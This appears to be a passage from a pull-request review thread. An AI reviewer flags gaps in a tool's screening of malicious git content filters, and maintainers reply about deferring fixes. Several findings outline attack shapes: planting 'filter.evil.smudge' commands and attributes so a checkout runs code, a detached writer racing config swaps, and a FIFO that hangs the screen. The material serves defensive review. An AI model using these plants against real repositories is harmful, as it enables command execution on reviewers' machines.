[Critical] R2-1: This new test asserts a POSIX-only guarantee with no win32 skip, so it fails on the Windows merge-queue job. The mechanism it exercises documents its own platform limit in this same diff: "Negative-pid kills are POSIX-only; on Windows this throws and the behaviour stays as it was" — on Windows process.kill(-r.pid, 'SIGKILL') throws, the catch swallows it, nothing else kills the fake suite's sleeper child, the child writes survivor-marker at t+1200ms, and expect(existsSync(marker)).toBe(false) after 2500ms fails. The file IS collected there: ci.yml's test_windows merge-queue job runs npm run test:ci → packages/cli vitest run, whose include (**/*.{test,spec}.?(c|m)[jt]s?(x)) has no integration exclusion. Sibling tests in this same file (around line 1254) and the chmod test this same diff adds in scratch-tree.test.ts already use it.skipIf(process.platform === 'win32'); this test alone lacks it.
Witness: probe arm A (POSIX kill): marker exists = false; arm B (win32 model — negative-pid kill throws, per the diff's own comment): marker exists = true — arm B is this test's own assertion failing. Verified against a model of win32 kill semantics specified by the diff's own code comment, not a Windows runner.
| it('kills the suite’s whole process group — no survivor outlives a run', async () => { | |
| it.skipIf(process.platform === 'win32')('kills the suite’s whole process group — no survivor outlives a run', async () => { |
中文说明
该新测试断言了一个仅 POSIX 成立的性质，却没有 win32 跳过，因此会在 Windows 合并队列任务上失败。它所测试的机制在本 diff 中已写明平台限制："负 pid kill 仅 POSIX 可用；Windows 上会抛异常，行为保持原样"——在 Windows 上 process.kill(-r.pid, 'SIGKILL') 抛出、被 catch 吞掉，没有其他东西杀掉假套件的沉睡子进程，子进程在 1200ms 写入 survivor-marker，2500ms 后的 expect(existsSync(marker)).toBe(false) 失败。该文件确实会在 Windows 上被收集：ci.yml 的 test_windows 合并队列任务运行 npm run test:ci → packages/cli 的 vitest run，其 include（**/*.{test,spec}.?(c|m)[jt]s?(x)）没有排除集成测试。同文件的兄弟测试（约 1254 行）以及本 diff 在 scratch-tree.test.ts 中新增的 chmod 测试都已使用 it.skipIf(process.platform === 'win32')，唯独此测试没有。
见证：探针 arm A（POSIX kill）：marker exists = false；arm B（按 diff 自身注释建模的 win32 行为——负 pid kill 抛异常）：marker exists = true——arm B 正是该测试自身断言失败的样子。验证基于 diff 代码注释所刻画的 win32 kill 语义模型，而非真实 Windows 运行器。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| * Every checkout in this pipeline EXECUTES these filters — the scratch tree's | ||
| * reset and rebuild, the probe tree's creation, per-run restore and revert |
There was a problem hiding this comment.
[Critical] R2-2: The twin creation checkout in base-tree.ts (git worktree add --detach tree baseSha, packages/cli/src/commands/review/base-tree.ts:268) is NOT screened by localFilterRefusal, while this docstring — moved by this PR under the commit title "screen every pipeline checkout" — claims every pipeline checkout is covered. localFilterRefusal has exactly four call sites (scratch-tree.ts:388, test-efficacy.ts:1604/:2566/:2893); none is in base-tree.ts, which already imports lib/worktree.ts, so the screen is one call away. A malicious PR's probe suite plants filter.evil.smudge CMD into the common-dir config plus one * filter=evil attributes line — the two writes this docstring documents; the screens refuse but never wipe the plant, so it persists; when the verifier's A/B capability later calls runBaseTree/buildBaseTree, the creation checkout rewrites every base-commit file through the planted smudge and executes CMD on the reviewer's machine.
Witness (probe): worktree add exit: 0 + PWNED marker created + SMUDGED/hello/world in the new tree's file; from a linked worktree, git rev-parse --git-path info/attributes resolves to the COMMON dir, so a plant made during one review persists for every later worktree.
Suggested fix: in buildBaseTree, before discardWorktree/the worktree add: const refusal = localFilterRefusal(worktree, "the base tree's creation checkout"); if (refusal) return unavailable(refusal); — or narrow this docstring to the checkouts actually screened.
中文说明
base-tree.ts 中的孪生创建 checkout（git worktree add --detach tree baseSha，packages/cli/src/commands/review/base-tree.ts:268）并未被 localFilterRefusal 屏蔽，而本 docstring——由本 PR 在"屏蔽管线每一个 checkout"的提交标题下移入——声称管线中的每一个 checkout 都已覆盖。localFilterRefusal 恰有四个调用点（scratch-tree.ts:388、test-efficacy.ts:1604/:2566/:2893），base-tree.ts 中没有；而 base-tree.ts 已经导入 lib/worktree.ts，加一次屏蔽只是一个调用的事。恶意 PR 的探针套件按本 docstring 记载的两次写入植入：向 common dir 配置写 filter.evil.smudge CMD、加一行 * filter=evil attributes；各屏蔽会拒绝但从不清除植入，因此植入持续存在；当验证器的 A/B 能力随后调用 runBaseTree/buildBaseTree 时，创建 checkout 会把 base 提交的每个文件经被植入的 smudge 重写，在审查者机器上执行 CMD。
见证（探针）：worktree add exit: 0 + PWNED 标记被创建 + 新树中的文件内容为 SMUDGED/hello/world；从链接 worktree 执行 git rev-parse --git-path info/attributes 解析到 COMMON dir，因此一次审查期间的植入对之后每一个 worktree 持续有效。
建议修复：在 buildBaseTree 中、discardWorktree/worktree add 之前：const refusal = localFilterRefusal(worktree, "the base tree's creation checkout"); if (refusal) return unavailable(refusal);——或者收窄本 docstring，使其只描述实际被屏蔽的 checkout。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| * PR fires on every later matching checkout of the user's OWN repository — | ||
| * persistence planted by reviewing a malicious PR, measured live. The local |
There was a problem hiding this comment.
[Critical] R2-3: The review worktree's OWN creation checkout — git('worktree', 'add', wt, ref) at packages/cli/src/commands/review/fetch-pr.ts:974 (a file this diff does not touch) — is not screened by localFilterRefusal, yet it is exactly the checkout where the persistence this paragraph describes fires, and it is the pipeline's actual FIRST checkout: fetch-pr creates the review worktree every other command receives, before any of the four screens exists in that run. Nothing earlier in fetch-pr reads local filter config (lease → tryResume → cleanStale → fetch → add), and the git() wrapper adds no filter-disabling override. The diff's comment calling the probe-tree creation "the pipeline's FIRST checkout" (test-efficacy.ts:2561-2564) is false — it is only test-efficacy's first.
Failure path: reviewing a malicious PR, the probe suite makes the two documented plant writes; all four screens refuse and nothing wipes the common dir (by design); on the NEXT review reaching fetch-pr's fresh-fetch branch (new PR, moved head, or stale-swept worktree), git worktree add wt ref runs before any screen exists in that run, rewriting every file of the fetched head through the planted smudge — command execution on the reviewer's machine.
Witness (probe): REVIEW-1 worktree add marker exists? YES → after cleanup the plant survives (attributes: * filter=evil) → REVIEW-2 worktree add marker2 exists? YES; worktree add from a linked worktree also executes the filter.
Suggested fix: run localFilterRefusal before the worktree add in fetch-pr (refuse the fetch with the filter message, the way the probe-creation screen refuses), or narrow this docstring to state plainly that the review worktree's own creation checkout remains an unscreened firing site for exactly this persistence.
中文说明
审查 worktree 自身的创建 checkout——packages/cli/src/commands/review/fetch-pr.ts:974 的 git('worktree', 'add', wt, ref)（本 diff 未触及该文件）——没有被 localFilterRefusal 屏蔽，而它恰恰是本段所描述的持久化最先触发的 checkout，也是管线实际意义上的第一个 checkout：fetch-pr 创建的审查 worktree 是其余所有命令接收的对象，先于该次运行中任何屏蔽存在。fetch-pr 在此之前没有任何读取本地过滤器配置的动作（lease → tryResume → cleanStale → fetch → add），git() 包装也不附加任何禁用过滤器的选项。diff 中把探针树创建称为"管线第一个 checkout"的注释（test-efficacy.ts:2561-2564）并不成立——那只是 test-efficacy 的第一个。
失败路径：审查某个恶意 PR 时，探针套件完成上述两次文档化写入；四个屏蔽全部拒绝、且什么都不清理（设计上如此）；下一次走到 fetch-pr 全新抓取分支的审查（新 PR、head 移动、或过期被清的 worktree）时，git worktree add wt ref 在该次运行尚无任何屏蔽时执行，把抓取 head 的每个文件经被植入的 smudge 重写——在审查者机器上执行命令。
见证（探针）：REVIEW-1 worktree add 标记存在？是 → 清理后植入仍在（attributes: * filter=evil）→ REVIEW-2 worktree add marker2 存在？是；从链接 worktree 执行 worktree add 同样触发过滤器。
建议修复：在 fetch-pr 的 worktree add 之前运行 localFilterRefusal（像探针创建屏蔽那样以过滤器消息拒绝抓取），或者收窄本 docstring，明说审查 worktree 自身的创建 checkout 仍是该持久化的未屏蔽触发点。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| * planting surface is the repo-local files. `--file` likewise does not expand | ||
| * `include.path`/`includeIf.*.path`, so a filter planted behind an include is | ||
| * invisible here; the origin-scoped follow-up tracked on this PR closes that — |
There was a problem hiding this comment.
[Critical] R1-4: Still stands at the reviewed commit — re-reported under its original id. Every screen added or moved by this diff reads candidates with --file, which does not expand include.path/includeIf.*.path, while the checkouts it authorises read merged config, which does: a filter planted behind an include in the repo-local config bypasses every screen and is EXECUTED by the checkout the screen certifies clean. The PR documents this as a known, deliberately deferred gap (origin-scoped --show-origin follow-up; the naive --includes fix would re-import global filters like git-lfs into permanent refusal), and the deferral is tracked on the PR — this re-post keeps the blocker visible until the origin-scoped fix lands; the mechanism itself is unchanged at this commit.
Witness (re-measured live at this commit, git 2.43.0): screen view --file --get-regexp → no match; merged view → key present; git checkout -f HEAD -- file → marker created; the --includes control finds the key.
The tracked follow-up closes this: a merged read with --show-origin, refusing only when the hit's origin is repo-local. An interim option is failing closed on any include.path/includeIf.*.path key found in the candidate files.
中文说明
在受审提交上仍然成立——以原编号重新报告。本 diff 新增或移动的所有屏蔽都用 --file 读取候选文件，不展开 include.path/includeIf.*.path；而屏蔽所授权的 checkout 读取的是合并后配置，是会展开的：经由仓库本地配置中 include 指令植入的过滤器能绕过所有屏蔽，并被屏蔽证明"干净"的那次 checkout 执行。PR 已将此记录为已知、有意推迟的缺口（按来源限定范围的 --show-origin 后续改动；朴素的 --includes 修法会把 git-lfs 等全局过滤器拖回来造成永久拒绝），且该推迟已记录在 PR 上——本次重新发布是为了让该阻断项在按来源修复落地之前保持可见；机制本身在本提交上未变。
见证（在本提交上重新实测，git 2.43.0）：屏蔽视角 --file --get-regexp → 无匹配；合并视角 → 键存在；git checkout -f HEAD -- file → 标记被创建；加 --includes 的对照能找到该键。
已跟踪的后续改动将关闭它：用 --show-origin 做合并读取，仅当命中的来源是仓库本地时才拒绝。过渡选项：候选文件中出现任何 include.path/includeIf.*.path 键即失败关闭。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Still deferred, as this PR documents — the mechanism is unchanged at this round's commit and the fix (an origin-scoped merged read via --show-origin, refusing only repo-local hits) remains the tracked follow-up. The interim options were weighed again this round and still conflict with the PR's recorded direction: --includes re-imports global filters like git-lfs into permanent refusal, and failing closed on any include.path/includeIf.*.path key in the candidate files would do the same for repositories that legitimately use includes. The gap stays disclosed in the localFilterRefusal docstring and is recorded in this round's deferred-findings; the thread stays open to keep the blocker visible.
中文说明
仍然推迟，与本 PR 的记载一致——该机制在本轮提交上未变，修复（按来源限定的 --show-origin 合并读取，仅对仓库本地命中拒绝）仍是已跟踪的后续改动。本轮重新权衡了过渡选项，它们仍与本 PR 记录的方向冲突：--includes 会把 git-lfs 等全局过滤器拖回造成永久拒绝；对候选文件中任何 include.path/includeIf.*.path 键失败关闭，对合法使用 include 的仓库同样如此。该缺口继续在 localFilterRefusal 的 docstring 中披露，并已记入本轮的 deferred-findings；主题保持打开以让阻断项持续可见。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — the interim fail-closed treatment stands: any include.path/includeIf.*.path directive in the screen's candidate files refuses the checkout, so a filter planted behind an include cannot EXECUTE unseen (it is refused, not certified). The remaining gap is the permanent refusal for legitimate user includes; closing it is the origin-scoped merged-read follow-up (--show-origin refusing only repo-local hits), still deferred and tracked on this PR. Round 7's batch addressed the nine new Critical findings; this re-post keeps the follow-up visible.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——过渡期的失败关闭处理保持不变：屏蔽候选文件中的任何 include.path/includeIf.*.path 指令都会拒绝该 checkout，因此藏在 include 后面的过滤器不可能在不可见的情况下执行（会被拒绝而非放行）。剩余缺口是对用户合法 include 的永久拒绝；收口方案是按来源限定的合并读取后续改动（用 --show-origin 只拒绝仓库本地命中），该后续仍被推迟并挂在本 PR 上跟踪。第 7 轮批量处理了九个新的 Critical 发现；此次重发保持该后续事项可见。
| if (r.pid) { | ||
| try { | ||
| process.kill(-r.pid, 'SIGKILL'); |
There was a problem hiding this comment.
[Critical] R1-2: Still stands — the round-2 group kill does not close the detached-writer shape this blocker itself named and demonstrated; re-reported under the original id. The round-2 summary marks this blocker "Fixed" via detached: true + group kill, claiming children "survive neither the deadline nor a normal exit, and cannot swap config between a screen and the checkout it authorises". That does not hold for the writer shape the blocker text itself names: a writer spawned with detached: true (or setsid) leads its own process group and definitionally escapes process.kill(-r.pid). The blocker measured "3 silent armed-filter executions in 117 screen-authorised restores (~2.6% per restore)" and already falsified the round-2 summary's stated fallback ("the per-checkout re-screens already address it"): "A candidate fix re-screening after the checkout flipped 19/80 iterations from silent pass to refusal, but the hit still slipped past when the writer swapped back — detection alone races too." The residual is not documented in code the way the include.path gap is, and the new witness test spawns its child WITHOUT detached, replaying only the in-group shape.
Failure path: a test file spawns spawn('node', ['writer.js'], { detached: true, stdio: 'ignore' }) + unref(); writer.js atomically swaps <common>/config between an inert copy and one armed with [filter "evil"] smudge = CMD plus the attributes line. When runProbeSuite returns, the kill below reaches only the runner's group; the detached writer survives into the mutation phase and wins the screen-vs-checkout race on some restore — the planted command executes despite every screen passing.
Witness (probe against this commit): arm A (in-group child): marker exists = false; arm B (detached child): marker exists = true.
Suggested fix: either close the residual (kill the whole descendant tree before returning from runProbeSuite, or run the suite under a boundary no survivor escapes, e.g. a cgroup), or stop claiming the blocker as fixed: track the detached-writer residual the way the include.path gap is tracked (docstring + deferred-findings + thread reply), and add a witness test that spawns a detached: true writer so the coverage claim matches the evidence.
中文说明
仍然成立——第 2 轮的进程组杀没有关闭该阻断项自己点名并演示过的"分离写者"形态；以原编号重新报告。第 2 轮总结把该阻断项标记为"已修复"（detached: true + 组杀），声称子进程"既活不过 deadline、也活不过正常退出，无法在屏蔽与它所授权的 checkout 之间切换配置"。这对阻断项原文自己点名的写者形态不成立：以 detached: true（或 setsid）派生的写者自成进程组组长，按定义就能逃脱 process.kill(-r.pid)。阻断项实测"117 次屏蔽授权的 restore 中 3 次无声执行武装过滤器（每次约 2.6%）"，并且已经证伪了第 2 轮总结声称的兜底（"按 checkout 重新屏蔽已经覆盖"）："在 checkout 后重新屏蔽的候选修复把 80 次中的 19 次从无声放行翻转为拒绝，但写者及时换回时命中仍会溜过——仅靠检测同样竞态。"该残留没有像 include.path 缺口那样写入代码文档，且新的见证测试派生子进程时没有带 detached，只复现了组内形态。
失败路径：测试文件执行 spawn('node', ['writer.js'], { detached: true, stdio: 'ignore' }) + unref()；writer.js 在 <common>/config 的惰性副本与武装了 [filter "evil"] smudge = CMD 加 attributes 行的副本之间原子切换。runProbeSuite 返回时，下面的杀只能到达运行器的组；分离写者活进突变阶段，并在某次 restore 中赢得"屏蔽读取 vs checkout 读取"的竞态——被植入的命令在每个屏蔽都通过的情况下执行。
见证（在本提交上探针）：arm A（组内子进程）：marker exists = false；arm B（分离子进程）：marker exists = true。
建议修复：要么关闭残留（在 runProbeSuite 返回前杀掉整棵后代树，或让套件运行在任何幸存者都逃不掉的边界内，如 cgroup）；要么停止声称该阻断项已修复：像 include.path 缺口那样跟踪"分离写者"残留（docstring + deferred-findings + 主题回复），并新增一个派生 detached: true 写者的见证测试，使覆盖声明与证据一致。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Same disposition as the round-4 re-post of this blocker: still escalated, maintainer decision pending, no code change this round. The mechanism is unchanged at HEAD — a detached: true/setsid writer escapes the group kill by construction, and the escape is pinned by the integration test this branch carries. The two remaining closure options (descendant-tree kill, or refusing creation checkouts while probes with shell access are concurrently alive) are a maintainer call; the answer will arrive as ordinary feedback next round.
中文说明
与该阻断项第 4 轮重新发布的处置相同：仍处于已上报状态，等待维护者决策，本轮无代码改动。机制在 HEAD 上未变——detached: true/setsid 写者按构造逃脱组杀，该逃逸已由本分支携带的集成测试钉住。剩余两种关闭手段（后代树击杀，或在拥有 shell 权限的探针并发存活时拒绝创建 checkout）是维护者的决策；答复将在下一轮作为普通反馈到达。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — this re-post keeps the blocker visible, as intended. The residual remains documented beside the group kill (the runner-spawn comment) and pinned from both sides by the integration suite (in-group kill test + the escape test). Closing it needs one of the two escalated closures: a descendant-tree kill (not reachable from a spawnSync caller) or refusing creation checkouts while probes with shell access are concurrently alive — the second is a behavior/scope call for a maintainer. Round 7's batch addressed the nine new Critical findings; this one stays escalated pending that decision.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——此次重发按预期保持该阻断可见。该残留仍记录在组杀旁边（运行器派生处的注释），并由集成测试从两个方向钉住（组内击杀测试 + 逃逸测试）。收口需要两种已上报方案之一：后代树击杀（从 spawnSync 调用方不可达）；或在有 shell 权限的探针并发存活时拒绝创建用 checkout——后者是行为/范围决策，需维护者定夺。第 7 轮批量处理了九个新的 Critical 发现；本条维持上报状态，等待该决策。
There was a problem hiding this comment.
Still open, deliberately — escalated for a maintainer decision and unchanged this round. The detached-writer escape is pinned from both sides by the integration suite (in-group kill green; the detached escape's marker exists by design) and documented beside the kill. The two remaining closures are maintainer calls: (1) a descendant-tree kill — not reachable from a spawnSync caller; (2) refusing creation checkouts while any probe with shell access is concurrently alive — a behavior/scope decision this loop does not make silently. No code change this round; this re-post keeps the blocker visible pending that decision.
中文说明
仍然开放，有意为之——已上报等待维护者决定，本轮未改动。detached 写者逃逸已被集成套件从两侧钉住（组内杀绿色；detached 逃逸的标记按设计存在），并在杀逻辑旁文档化。剩余两种闭合方式是维护者的决定：（1）后代树杀——从 spawnSync 调用方不可达；（2）在任何拥有 shell 权限的探针并发存活时拒绝创建 checkout——本循环不会擅自做出的行为/范围决定。本轮无代码改动；本次回复让该阻断项在决定做出前保持可见。
| const child = spawn( | ||
| process.execPath, | ||
| [ | ||
| '-e', | ||
| "setTimeout(() => { try { require('fs').writeFileSync(process.argv[1], 'x'); } catch {} }, 1200);", |
There was a problem hiding this comment.
[Suggestion] R2-9: The sleeper installs no signal handler, so the one-line mutation 'SIGKILL' → 'SIGTERM' still passes this test (mutation run verified: arm BASE passed 2751ms, arm MUTANT passed 2755ms) even though SIGKILL's uncatchability is the property the kill exists for — a malicious suite registering process.on('SIGTERM', () => {}) survives a SIGTERM group kill. Refinement from verification: installing the handler alone is NOT sufficient — the kill lands inside the child's Node startup window, before its first JS statement, so the handler never gets installed in time; a discriminating oracle needs the child to reach "handler installed" before the runner exits (a readiness handshake).
Suggested fix: have the child signal readiness (e.g. write a readiness marker) and install process.on('SIGTERM', () => {}) before the runner exits, so only an uncatchable SIGKILL to the whole group keeps survivor-marker absent.
中文说明
沉睡子进程没有安装任何信号处理器，因此单行突变 'SIGKILL' → 'SIGTERM' 仍能让本测试通过（突变实测：arm BASE 通过 2751ms，arm MUTANT 通过 2755ms）——尽管 SIGKILL 的不可捕获性正是该杀存在的理由：恶意套件注册 process.on('SIGTERM', () => {}) 就能在 SIGTERM 组杀下存活。验证时的细化：仅安装处理器也不够——杀落在子进程的 Node 启动窗口内、早于其第一条 JS 语句，处理器来不及安装；有区分度的预言机需要子进程在运行器退出前到达"处理器已安装"状态（一次就绪握手）。
建议修复：让子进程发出就绪信号（如写一个就绪标记）并在运行器退出前安装 process.on('SIGTERM', () => {})，使得只有对整个组的不可捕获 SIGKILL 才能保证 survivor-marker 不出现。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round — this round's batch was capped at the seven Critical findings (plus the two Suggestions entangled with them). Note this round did rename the group-kill test to the in-group guarantee it pins (R2-6); the readiness-handshake refinement that would also fail the SIGKILL → SIGTERM mutation is queued for the next round.
中文说明
推迟到下一轮——本轮批次以七个 Critical 发现（加上与其纠缠的两个 Suggestion）为上限。注意本轮已把组杀测试改名为它实际钉住的组内保证（R2-6）；能让 SIGKILL → SIGTERM 突变也失败的就绪握手细化，已排入下一轮。
There was a problem hiding this comment.
Deferred to the next round at the batch cap — recorded, not dropped. The finding stands: the sleeper installs no signal handler, so the one-line 'SIGKILL' → 'SIGTERM' mutation still passes this test. The planned fix is exactly the suggested refinement — a readiness handshake so the child reaches "handler installed" before the runner exits, plus a SIGTERM handler that still writes the marker, making the SIGTERM-substitution mutant go red while the SIGKILL path stays green. It was deferred only because this round's batch was capped at the two Criticals plus six suggestions; it is first in the next round's queue.
中文说明
按批量上限推迟到下一轮——已记录，不会丢弃。该发现成立：沉睡子进程未安装信号处理器，因此单行 'SIGKILL' → 'SIGTERM' 突变仍可通过本测试。计划的修复正是所建议的细化方案——一次就绪握手，使子进程在运行器退出前到达“处理器已安装”状态，外加一个仍会写入标记的 SIGTERM 处理器，使 SIGTERM 替代突变变红而 SIGKILL 路径保持绿色。推迟仅因本轮批量以两个 Critical 加六条 Suggestion 封顶；它在下一轮队列中排首位。
There was a problem hiding this comment.
Deferred again at this round's batch cap — the batch was filled by the nine round-7 Critical findings (identity-gate shape and HEAD pins, spawn timeouts, transport-set completion, and the inert fetch spawns). This stays queued for the next round: upgrade the integration sleeper to install a SIGTERM handler with a readiness handshake, so a SIGTERM→SIGKILL mutation on the group kill is caught instead of surviving. Nothing about the finding changed; it is a test-hardening suggestion, not a live defect.
中文说明
本轮再次因批量上限推迟——本批已由第 7 轮的九个 Critical 发现填满（身份门的形状与 HEAD 钉住、派生超时、传输键集补全、惰性化的 fetch 派生）。该项保留到下一轮队列：把集成测试的睡眠子进程升级为安装 SIGTERM 处理器并带就绪握手，使组杀上的 SIGTERM→SIGKILL 突变能被抓住而不是存活。该发现本身没有变化；它是测试加固建议，不是现役缺陷。
There was a problem hiding this comment.
The substance — the sleeper's readiness handshake and SIGTERM-resistance pins — is recorded in round 9's "Deferred under the convergence posture" list (the integration-test probes at :618 and :690) and was not requested this round. With this round's batch spent on the round-9 Criticals, it stays deferred with that list. Not declined: the probes are real and remain tracked.
中文说明
实质内容——sleeper 的就绪握手与抗 SIGTERM 钉点——已记录在第 9 轮的 "Deferred under the convergence posture" 清单中（:618 与 :690 的集成测试探针），本轮未要求处理。本轮批次已用于第 9 轮的 Critical 项，它随该清单继续延后。不是拒绝：探针真实存在并继续被跟踪。
| * surface in the repository's own config and refuses rather than run it (see | ||
| * `localFilterCommands`). What a probe does with its own shell is the probe's | ||
| * `localFilterRefusal`). What a probe does with its own shell is the probe's |
There was a problem hiding this comment.
[Suggestion] R2-10: This docstring — edited by this diff (the function reference changed from localFilterCommands to localFilterRefusal) — still describes the executable surface as "filter.<name>.smudge|clean commands" while the screen it names now matches smudge|clean|process (worktree.ts:655): two of the three executable keys — the exact one-token-over gap this PR exists to fix, and the shape the diff's own comments warn about ("enumerating two of three is how the first cut of this screen read as complete").
Cost: a maintainer auditing why NO_HOOKS is insufficient takes smudge|clean for the full surface; the next key-set change (or a regex edit "to match the docs") repeats the gap.
Suggested fix: "filter.<name>.smudge|clean|process commands are config-driven".
中文说明
本 docstring 由本 diff 编辑（函数引用从 localFilterCommands 改为 localFilterRefusal），却仍把可执行面描述为"filter.<name>.smudge|clean 命令"，而它所指的屏蔽现在匹配 smudge|clean|process（worktree.ts:655）：三个可执行键中的两个——恰是本 PR 要修的那种差一个 token 的缺口，也是 diff 自己的注释警告过的形态（"三选二的枚举正是这面屏蔽第一版看似完整的原因"）。
代价：审计 NO_HOOKS 为何不够的维护者会把 smudge|clean 当作全部可执行面；下一次键集变更（或一次"与文档保持一致"的正则编辑）就会重演该缺口。
建议修复：改为"filter.<name>.smudge|clean|process commands are config-driven"。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| 'enough to plant both the filter and the attributes that select it. Remove ' + | ||
| 'the filter config — or the attributes file that uses it — if it is not ' + | ||
| 'yours; until then no scratch tree is safe to create or reset.', | ||
| `${filterRefusal} (hooks are disabled, filters are config-driven), and ` + |
There was a problem hiding this comment.
[Suggestion] R2-11: This fixed tail was written for the filter-hit variant; this diff adds an unreadable-config variant of localFilterRefusal to which its remediation cannot apply. Verified by driving the real function against a chmod-000 config.worktree and splicing this tail verbatim — the assembled note tells the user to "Remove the filter config — or the attributes file that uses it" when the screen identified no filter at all (it could not read the file); the actual remedy — restore readability/validity so the screen can certify — is never named. (Caveat: the variant is reachable via the per-worktree config.worktree candidates, as the shipped test does; an unreadable COMMON config returns null earlier, which is benign since git cannot run the checkout either.)
Suggested fix: branch the tail on the variant — append "Remove the filter config…" only when the refusal lists filters; for the unreadable variant say the file must be readable (and parseable) again before the screen can certify.
中文说明
这段固定尾巴是为"命中过滤器"变体写的；本 diff 给 localFilterRefusal 新增了"配置不可读"变体，其修复建议对后者不适用。用真实函数对一个 chmod-000 的 config.worktree 驱动、并原样拼接本尾巴验证：组装出的提示在屏蔽根本没有识别出任何过滤器（文件读不了）时，仍告诉用户"移除过滤器配置——或使用它的 attributes 文件"；真正的补救——恢复可读/可解析以便屏蔽能够背书——从未被提及。（说明：该变体经各 worktree 的 config.worktree 候选可达，如随附测试所示；COMMON 配置本身不可读会更早返回 null，属良性——git 同样无法执行 checkout。）
建议修复：按变体分支——仅当拒绝列出了过滤器时才追加"移除过滤器配置……"；对不可读变体，说明文件必须恢复可读（且可解析）后屏蔽才能背书。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round — this round's batch was capped at the seven Critical findings (plus the two Suggestions entangled with them). Branching the remediation tail on the unreadable-config variant is queued for the next round.
中文说明
推迟到下一轮——本轮批次以七个 Critical 发现（加上与其纠缠的两个 Suggestion）为上限。按"配置不可读"变体分支修复建议尾巴，已排入下一轮。
| try { | ||
| accessSync(file, constants.R_OK); | ||
| } catch (e) { |
There was a problem hiding this comment.
[Suggestion] R2-12: A candidate that is a FIFO (or anything whose open() blocks) passes existsSync + accessSync(R_OK) — a permission check — and the timeout-less spawnSync('git', ['config', '--file', …]) then blocks forever in open(); because spawnSync blocks the event loop, no JS budget timer can fire. A probe suite — which this function's own docstring documents as writing into the common dir — runs mkdir -p <common>/worktrees/plant && mkfifo …/planted/config.worktree; that path is a candidate via the readdirSync loop below and is read by no other git command in the pipeline. The shape existed in the old scratch-tree function, but this diff makes it newly reachable from the three test-efficacy call sites; the creation screen — the pipeline's first — hangs before the probe tree even exists. Measured: clean repo → refusal null in 15ms; FIFO planted → killed by a 20s watchdog (exit 137); plant removed → 16ms. Refinement: git worktree prune (run by cleanStale on the fresh-fetch path) removes a bare FIFO plant, so cross-run persistence is weaker than first claimed — but the DoS is real within a run and recurs across resumed runs (tryResume returns before cleanStale). Fails closed (no checkout runs), hence Suggestion.
Suggested fix: gate candidates on lstatSync(file).isFile() — routing non-regular files into the unreadable variant matches this function's own fail-closed philosophy — and/or add a timeout to the spawn, treating a timeout as unreadable.
中文说明
候选若是 FIFO（或任何 open() 会阻塞的东西），能通过 existsSync + accessSync(R_OK)——那只是权限检查——随后无超时的 spawnSync('git', ['config', '--file', …]) 会在 open() 中永远阻塞；由于 spawnSync 阻塞事件循环，任何 JS 预算计时器都无法触发。探针套件——本函数自己的 docstring 记载了它会向 common dir 写入——执行 mkdir -p <common>/worktrees/plant && mkfifo …/planted/config.worktree；该路径经下面的 readdirSync 循环成为候选，且管线中没有其他 git 命令会读它。该形态在旧的 scratch-tree 函数中就存在，但本 diff 使其从 test-efficacy 的三个调用点新可达；创建屏蔽——管线的第一个——会在探针树尚不存在时挂起。实测：干净仓库 → 15ms 返回 null；植入 FIFO → 被 20s 看门狗杀死（exit 137）；移除植入 → 16ms。细化：git worktree prune（全新抓取路径上 cleanStale 会运行）能移除裸 FIFO 植入，因此跨运行持久性弱于最初所述——但运行内的 DoS 真实存在，且在恢复的运行中复现（tryResume 先于 cleanStale 返回）。失败关闭（没有 checkout 会执行），故为 Suggestion。
建议修复：以 lstatSync(file).isFile() 过滤候选——把非常规文件归入 unreadable 变体与本函数自身的失败关闭哲学一致——和/或给该 spawn 加 timeout，超时按不可读处理。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round — this round's batch was capped at the seven Critical findings (plus the two Suggestions entangled with them). The lstatSync(file).isFile() candidate gate (and/or a spawn timeout) is queued for the next round; agreed it fails closed, which is why it could wait.
中文说明
推迟到下一轮——本轮批次以七个 Critical 发现（加上与其纠缠的两个 Suggestion）为上限。lstatSync(file).isFile() 候选过滤（和/或 spawn 超时）已排入下一轮；认同它是失败关闭的，因此可以等待。
| const [commonDir, gitDir] = files.stdout.trim().split('\n'); | ||
| const common = resolve(worktree, commonDir); |
There was a problem hiding this comment.
[Suggestion] R2-13: A newline in the common-dir path (legal in a directory name) makes this parse fail OPEN — the one silent fail-open left against this diff's own "never fails open" contract. trim().split('\n') yields 4 fragments, commonDir/gitDir misparse, every candidate points at a nonexistent path, filters/unreadable stay empty, and the screen returns null — certifying the checkout while having read nothing (rev-parse exits 0, so the early-return guard passes). Every other ambiguous state in this function fails closed — unreadable file, malformed config, ENOBUFS padding, each with a test — at all four call sites including the three this diff adds.
Witness (probe): fixture repo at /tmp/ve5e/x<LF>y/repo with planted filter.evil.smudge — NEWLINE arm: null (screen passes clean) vs PLAIN arm: "…defines content filter(s) filter.evil.smudge … would EXECUTE them" (same planting one directory over is caught); flipping in a lines.length !== 2 fail-closed guard makes the NEWLINE arm refuse. The trigger is the user's own filesystem layout, not attacker input — hence Suggestion.
| const [commonDir, gitDir] = files.stdout.trim().split('\n'); | |
| const common = resolve(worktree, commonDir); | |
| const lines = files.stdout.trim().split('\n'); | |
| if (lines.length !== 2) { | |
| return `the repository's git directory layout could not be parsed, so the screen cannot certify that ${checkout} would not EXECUTE a content filter`; | |
| } | |
| const [commonDir, gitDir] = lines; | |
| const common = resolve(worktree, commonDir); |
中文说明
